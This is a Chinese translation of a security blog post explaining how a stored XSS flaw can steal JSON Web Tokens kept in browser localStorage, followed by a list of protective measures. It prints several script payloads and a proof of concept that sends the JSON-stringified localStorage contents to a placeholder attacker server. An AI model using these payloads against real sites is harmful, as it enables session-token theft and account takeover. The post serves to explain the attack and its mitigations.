通过XSS窃取localStorage中的JWT

作者:{WXL}@ArkTeam

原文作者:David Roccasalva

原文题目:Stealing JWTs in localStorage via XSS

原文来源:David Roccasalva’s blog “Stealing JWTs in localStorage via XSS”

由于很多现代应用程序都在使用JSON Web令牌(JWT)来管理用户会话,如果JWT发生泄露将会导致严重的后果。下面将简要介绍JWT的概念,以及作者的窃取示例以及JWT的保护措施。

  • 什么是JSON Web令牌(JWT)?

简而言之,JWT是一个JSON Web令牌。这是一种系统对用户进行身份验证的简单方法,可以基于开源库很轻松的实现。因为JWT只是URL安全字符串,所以它们很容易通过URL参数等传递。

​JWT由三个由单个点分隔的组件组成:header.payload.signature。在大多数配置中,一旦用户提供有效凭证,此令牌就会在HTTP标头中设置并用于持续授权,类似于标准会话cookie。虽然JWT与传统的cookie有些相似之处,但是JWT不能通过攻击cookie的方法来破坏。

  • 通过XSS窃取localStorage中的JWT的示例

文中作者发现了一个存储的XSS漏洞,该漏洞使用了JWT进行身份验证。一旦设置了有效载荷,访问该网页的任何受害者都会将JWT发送给攻击者。由于每个JWT都存储有唯一的标识符/键,因此无法在不知道此信息的情况下调用JWT。

在JavaScript警告框中呈现标准cookie(无保护)的典型方法是:

<script>alert(document.cookie)</script>

但是由于localStorage中的数据以数组的形式存储,因此无法使用类似的方法调用:

<script>alert(localStorage)</script>

图1 localStorage警告框

因此对localStorage或sessionStorage中的数据执行此操作的一种方法是使用getItem()方法检索每个项目。

<script>alert(localStorage.getItem(‘key’))</script>

例:

<script>alert(localStorage.getItem(‘ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken’))</script>
图2 JWT的 accessToken展示

但是进行上述操作需要知道唯一的标识符’ key ‘,如下所示:

图3 存储在localStorage中的密钥示例列表

可以通过暴力破解这个唯一的标识符,或者编写JavaScript来迭代localStorage中的每个项目。其中JSON.Stringify是一个好的方法用来破解这个标识符。它可以将所有的localStorage内容转换为字符串并破解这个标识符,例如:

<script>alert(JSON.stringify(localStorage))</script>
图4  localStorage内容转换为字符串

用于窃取JWT的完整XSS PoC将如下所示:

<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!> 
图5 通过XSS漏洞披露并发送到攻击者控制的服务器的JWT示例

要实现这个攻击需要IdToken,accessToken和许多其他相关令牌。其中IdToken用于验证和伪装成有问题的用户(实质上是帐户接管),accessToken可用于生成带有身份验证的全新IdToken。

这里最大的问题是缺乏将传统cookie安全标志应用于localStorage中存储的项目的能力。

  • 保护措施
  • 可以通过使用传统的cookie保护来加强JWT的安全性。
  • 切勿在localStorage中存储任何敏感内容,例如JWT或任何其他凭据。
  • 考虑在授权标头上使用cookie标头。
  • 设置Cookie标头保护。
  • 切勿在屏幕上,URL和/或源代码中呈现令牌。

发表评论

电子邮件地址不会被公开。 必填项已用*标注